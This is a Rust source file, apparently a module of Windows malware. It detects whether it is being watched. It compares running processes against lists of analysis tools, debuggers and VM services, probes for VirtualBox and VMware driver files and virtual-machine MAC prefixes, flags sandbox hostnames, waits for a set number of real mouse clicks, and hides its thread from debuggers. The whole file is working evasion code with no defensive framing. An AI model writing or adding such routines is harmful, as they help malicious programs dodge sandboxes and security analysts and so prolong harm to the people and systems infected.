use std::{thread, sync::{Arc, Mutex}, ptr, path::Path};
use rdev::{listen, Event, EventType};
use sysinfo::System;
use winapi::um::processthreadsapi::GetCurrentProcess;
use winapi::um::debugapi::{CheckRemoteDebuggerPresent, IsDebuggerPresent};
use winapi::um::fileapi::{CreateFileA, OPEN_EXISTING};
use winapi::um::iphlpapi::GetAdaptersAddresses;
use winapi::um::iptypes::{GAA_FLAG_INCLUDE_ALL_INTERFACES, IP_ADAPTER_ADDRESSES};
use winapi::um::winnt::{GENERIC_READ, FILE_ATTRIBUTE_NORMAL};
use winapi::um::handleapi::INVALID_HANDLE_VALUE;
use winapi::shared::minwindef::{BOOL, PBOOL};
use winapi::shared::ntdef::{HANDLE, ULONG};
use winapi::shared::ws2def::AF_UNSPEC;
use ntapi::ntpsapi::{NtSetInformationThread, ThreadHideFromDebugger};
pub fn detected() -> Option<bool>{
return Some(processes() || sandbox()? || is_debugger_present() || comparaison_known_mac_addr()? || vm_file_detected());
}
pub fn processes() -> bool{
let analyzers = vec![
"Wireshark.exe",
"procexp64.exe",
"procexp.exe",
"Procmon.exe",
"Procmon64.exe",
"pestudio.exe",
"KsDumper.exe",
"prl_cc.exe",
"prl_tools.exe",
"pe-sieve64.exe",
"hollows_hunter32.exe",
"Moneta64.exe",
"fakenet.exe",
"tcpview.exe",
"dumpcap.exe",
"PETools.exe",
"httpdebugger.exe"
];
let vms = vec![
"VBoxTray.exe",
"VBoxService.exe",
"VMwareUser.exe",
"vmtoolsd.exe",
"VMwareTray.exe",
"vmsrvc.exe",
"VGAuthService.exe",
"qemu-ga.exe",
"vdagent.exe",
"vdservice.exe",
"xenservice.exe",
"joeboxserver.exe"
];
let debuggers = vec![
"WinDbg.exe",
"devenv.exe", "drwtsn32.exe", "ollydbg.exe",
"x64dbg.exe",
"gdb.exe", "dbgview.exe", "procdump.exe", "ntsd.exe", "windbgX.exe", ];
let s = System::new_all();
for (_pid, process) in s.processes() {
if analyzers.contains(&process.name()) || vms.contains(&process.name()) || debuggers.contains(&process.name()) {
return true;
}
}
return false;
}
pub fn sandbox() -> Option<bool> {
let windows_version = System::os_version()?.chars().next()?;
if windows_version == '0' {
return Some(true);
}
let host = System::host_name()?.to_lowercase();
if host == "john-pc" {
return Some(true);
}
Some(false)
}
pub fn wait_for_left_clicks(min_clicks: u64) {
let count = Arc::new(Mutex::new(0));
let count_clone = Arc::clone(&count);
thread::spawn(move || {
listen(move |event: Event| {
if let EventType::ButtonPress(button) = event.event_type {
if button == rdev::Button::Left {
let mut count = count_clone.lock().unwrap();
*count += 1;
}
}
}).unwrap();
});
loop {
let count = count.lock().unwrap();
if *count >= min_clicks {
break;
}
std::thread::sleep(std::time::Duration::from_millis(100));
}
}
pub fn is_debugger_present() -> bool{
let mut ispresent: BOOL = 0;
let h_process = unsafe { GetCurrentProcess() };
let device_name = "\\\\.\\NTICE\0".as_ptr() as *const i8;
unsafe {
IsDebuggerPresent() != 0 &&
CheckRemoteDebuggerPresent(h_process, &mut ispresent as PBOOL) != 0 &&
ispresent != 0 &&
CreateFileA(
device_name,
GENERIC_READ,
0,
ptr::null_mut(),
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
ptr::null_mut(),
) != INVALID_HANDLE_VALUE
}
}
pub fn vm_file_detected() -> bool{
let file_paths = vec![
"C:\\windows\\System32\\Drivers\\Vmmouse.sys",
"C:\\windows\\System32\\Drivers\\vm3dgl.dll",
"C:\\windows\\System32\\Drivers\\vmdum.dll",
"C:\\windows\\System32\\Drivers\\vm3dver.dll",
"C:\\windows\\System32\\Drivers\\vmtray.dll",
"C:\\windows\\System32\\Drivers\\VMToolsHook.dll",
"C:\\windows\\System32\\Drivers\\vmmousever.dll",
"C:\\windows\\System32\\Drivers\\vmhgfs.dll",
"C:\\windows\\System32\\Drivers\\vmGuestLib.dll",
"C:\\windows\\System32\\Drivers\\VmGuestLibJava.dll",
"C:\\windows\\System32\\Drivers\\VBoxMouse.sys",
"C:\\windows\\System32\\Drivers\\VBoxGuest.sys",
"C:\\windows\\System32\\Drivers\\VBoxSF.sys",
"C:\\windows\\System32\\Drivers\\VBoxVideo.sys",
"C:\\windows\\System32\\vboxdisp.dll",
"C:\\windows\\System32\\vboxhook.dll",
"C:\\windows\\System32\\vboxmrxnp.dll",
"C:\\windows\\System32\\vboxogl.dll",
"C:\\windows\\System32\\vboxoglarrayspu.dll",
"C:\\windows\\System32\\vboxoglcrutil.dll",
"C:\\windows\\System32\\vboxoglerrorspu.dll",
"C:\\windows\\System32\\vboxoglfeedbackspu.dll",
"C:\\windows\\System32\\vboxoglpackspu.dll",
"C:\\windows\\System32\\vboxoglpassthroughspu.dll",
"C:\\windows\\System32\\vboxservice.exe",
"C:\\windows\\System32\\vboxtray.exe",
"C:\\windows\\System32\\VBoxControl.exe",
];
for path in file_paths { if Path::new(path).exists() { return true; } }
return false;
}
pub fn comparaison_known_mac_addr() -> Option<bool> {
let known_mac_addr: Vec<[u8; 6]> = vec![
[0x00, 0x05, 0x69, 0x00, 0x00, 0x00], [0x00, 0x0C, 0x29, 0x00, 0x00, 0x00], [0x00, 0x1C, 0x14, 0x00, 0x00, 0x00], [0x00, 0x50, 0x56, 0x00, 0x00, 0x00], [0x08, 0x00, 0x27, 0x00, 0x00, 0x00], ];
unsafe {
let mut out_buf_len: ULONG = 0;
GetAdaptersAddresses(AF_UNSPEC.try_into().ok()?, GAA_FLAG_INCLUDE_ALL_INTERFACES, ptr::null_mut(), ptr::null_mut(), &mut out_buf_len);
let mut buffer: Vec<u8> = vec![0; out_buf_len as usize];
let adapters_ptr: *mut IP_ADAPTER_ADDRESSES = buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES;
let result = GetAdaptersAddresses(AF_UNSPEC.try_into().ok()?, GAA_FLAG_INCLUDE_ALL_INTERFACES, ptr::null_mut(), adapters_ptr, &mut out_buf_len);
if result == 0 {
let mut current_adapter = adapters_ptr;
while !current_adapter.is_null() {
let adapter = &*current_adapter;
for i in 0..known_mac_addr.len() {
if (known_mac_addr[i][0] == adapter.PhysicalAddress[0]) &&
(known_mac_addr[i][1] == adapter.PhysicalAddress[1]) &&
(known_mac_addr[i][2] == adapter.PhysicalAddress[2]) {
return Some(true);
}
}
current_adapter = adapter.Next;
}
} else {
return Some(false);
}
return Some(false);
}
}
pub fn attempt_hide_thread() {
const NT_CURRENT_THREAD: HANDLE = -2i32 as HANDLE;
unsafe {
let _status = NtSetInformationThread(
NT_CURRENT_THREAD,
ThreadHideFromDebugger,
ptr::null_mut(),
0,
);
}
}